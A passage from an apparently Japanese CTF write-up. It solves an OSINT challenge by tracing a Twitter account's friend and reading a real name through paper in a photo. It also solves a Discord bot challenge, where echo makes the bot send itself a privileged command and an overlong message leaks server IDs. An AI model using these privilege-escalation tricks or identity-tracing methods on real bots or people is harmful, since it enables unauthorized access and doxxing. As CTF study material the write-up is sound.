NJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JMJ9JMJ9JMJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JM6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JMC
Discordにはenter
ではなくvmaskmovdqu
を使ったという人もいました。はえ~
Misc
slightly bored hacker [47 solves]
0x00FF00LeafHaxs
というアカウントにメイプルストーリーのMesos(通貨)を奪われたので彼の本名を特定してくれというOSINT問(bored hacker
)があったんですが、誰も解けないのでサブの問題として彼の友人の本名を特定しろというslightly bored hacker
が出題されました。
0x00FF00LeafHaxs
をTwitterで検索すると@0Haxs
というアカウントが見つかります。
このアカウント自体にはあまり情報がなかったので、to:0Haxs
で何か言及がないか見てみるとあるツイートを発見できます。
@0Haxs It was nice catching up with you before your flight out east today! Hope you've landed by the time you see this. pic.twitter.com/CWf3Kg6olS
— Davolboam2035 (@davolboam2035) 2022年8月7日
このアカウントが彼の友人でしょう。写真を見ると、裏になっている書類が透けて見えています。ステガノグラフィー解析ツール「青い空を見上げればいつもそこに白い猫」を使い見やすく(言うほど見やすくなってるか...?)すると、本名らしきものが見えます。
maple{larry_acerabor}
disukoodo! [49 solves]
以下のようなDiscord Botが動いています。フラグはBotが加入しているサーバーの名前にあります。
import discord from discord.ext import commands from discord import utils, errors, channel, User botmods = [] prem_users = [] intents = discord.Intents.default() intents.dm_messages = True bot = commands.Bot(command_prefix='\0', intents=intents) #disable internal command processor to allow customization @bot.event async def on_message(msg): #allow mentions anywhere in msg to facilitate more natural command invocations in conversations if isinstance(msg.channel, channel.DMChannel): #blame discord 100 server limit for breaking realism :( split = msg.content.split(str(bot.user.id) + '> ', 1) if len(split) > 1 and any([m.id == bot.user.id for m in msg.mentions]): #has to be a real mention msg.content = '\0' + split[1] bot._skip_check = lambda x, y: False ctx = await bot.get_context(msg) await bot.invoke(ctx) @bot.event async def on_ready(): global botmods info = await bot.application_info() botmods += [info.owner.id, info.id] @bot.event async def on_command_error(ctx, error): if isinstance(error, commands.errors.CommandNotFound): pass elif isinstance(error, commands.CheckFailure): await ctx.send("You don't have enough perms!") elif isinstance(error, commands.BadArgument): await ctx.send('Invalid arguments specified!') else: if isinstance(error, commands.errors.CommandInvokeError): error = error.original await ctx.send('This command encountered an unexpected `' + str(type(error)) + '` error!') debuginfo = 'Debug info:\nCurrent command: `' + str(ctx.command) + '`\n' if isinstance(error, errors.HTTPException): #something went wrong communicating with discord - give more backend info debuginfo += '\nBackend info:\nCurrently serving guilds:```\n' + '\n'.join([str(g.id) for g in bot.guilds]) + '```\nLatency: `' + str(bot.latency) + '`\n' await ctx.send(debuginfo) raise error async def is_privileged(ctx): return ctx.author.id in botmods async def is_prem(ctx): return ctx.author.id in prem_users @bot.command(description='BOT MODS ONLY - manually sets a member as a premium member') @commands.check(is_privileged) async def registerprem(ctx, member: User): prem_users.append(member.id) await ctx.send('Manually added <@!' + str(member.id) + '> as a premium member!') @bot.command(description='Echos a given message! Premium members gets a special secret feature ;)') async def echo(ctx, *, msg): if len(msg) > 1990: await ctx.send('Sorry, your message to be echoed is too long!') else: val = msg.split(' ')[0] to_echo = (msg[len(val)+1:] * min(int(val), 100)) if await is_prem(ctx) and val.isdigit() else msg await ctx.send('`' + utils.escape_markdown(to_echo) + '`') bot.run(open('token.txt').readlines()[0])
色々試すと、DMで@beepboop command
と入力するとコマンドを実行できることがわかります。
まず目につくのはregisterprem
です。プレミアム権限なんて作られている以上は問題的に権限昇格する必要がありそうだ、とメタ読みできます。
registerprem
を使えばユーザーをプレミアムメンバーにすることができますが、権限がないのでユーザー自身がregisterprem
を使うことはできません。ではBotはどうでしょうか?echo
コマンドを使って以下のようなメッセージをBotに言わせてみます。
@beepboop echo `@beepboop registerprem @Satoooon`
そうすると、自己メンションへの対策がされていないのでBotがBot自身にコマンドを実行します。Botは権限を持っているので、これで自分がプレミアム会員になることができます。
これでecho
コマンドのプレミアムメンバー限定の機能が使えるようになりました!機能とは、msg times
とすればmsg
がtimes
回繰り替えされたメッセージが出力されるものです。わざわざecho
コマンドにlen(msg) > 1990
なんてif文入れてるとこを見ると送信には文字数制限がありそうですね。このようなコマンドを送ってみます。
@beepboop echo 100 12345678901234567890
すると、以下のようなエラーを返します。
This command encountered an unexpected <class 'discord.errors.HTTPException'> error! Debug info: Current command: echo Backend info: Currently serving guilds: 991800535961313441 ... Latency: 0.08810776800055464
これでBotが加入しているサーバーのIDがわかりました。Guild IDからサーバーを取得する方法が調べても全然出てこなかったし、公式APIの/guilds/{ID}/preview
は404返してて困ってましたが、頑張ってググってたら有志のツールを発見しました。これでフラグを取得できます。
maple{ch4r_l1m1ts_4cc3ss_c0ntr0l_4nd_l0vely_m4rkd0wn}
感想
特に目立った問題もなく、よいCTFでした。海外CTFに続けて参加するとだいたい同じ実力のチームや頑張れば勝てそうなチームというのがわかってきて、ある種の目標になりますね。
Pwnは全完できて嬉しいです。webはあと1問解きたかったですね。
cryptoとrevは...もう少し頑張りましょう。